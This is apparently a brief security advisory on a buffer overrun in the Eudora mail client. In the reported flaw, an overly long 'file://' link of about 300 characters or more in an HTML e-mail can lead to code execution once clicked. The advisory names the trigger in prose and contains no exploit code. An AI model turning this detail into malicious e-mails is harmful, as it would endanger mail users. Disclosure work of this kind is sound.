Qualcomm Eudora is reported to be prone to a remotely exploitable buffer overrun vulnerability. 

The issue is exposed when an excessively long hyperlink to a file resource is embedded in an HTML e-mail. This may permit remote attackers to execute arbitrary code via malicious e-mail in the context of the client user.

This issue was reported in Eudora on Windows platforms. Eudora for Apple Mac operating systems may be similarly affected, though this has not been confirmed.

- 漏洞描述

A remote overflow exists in Eudora. The issue is due to a boundary error within the URL handling functionality resulting in a buffer overflow. An remote attacker could send an email containing a specially crafted "file://" URL which is longer than approximately 300 characters and would possibly cause arbitrary code execution, once the URL is clicked by the victim.
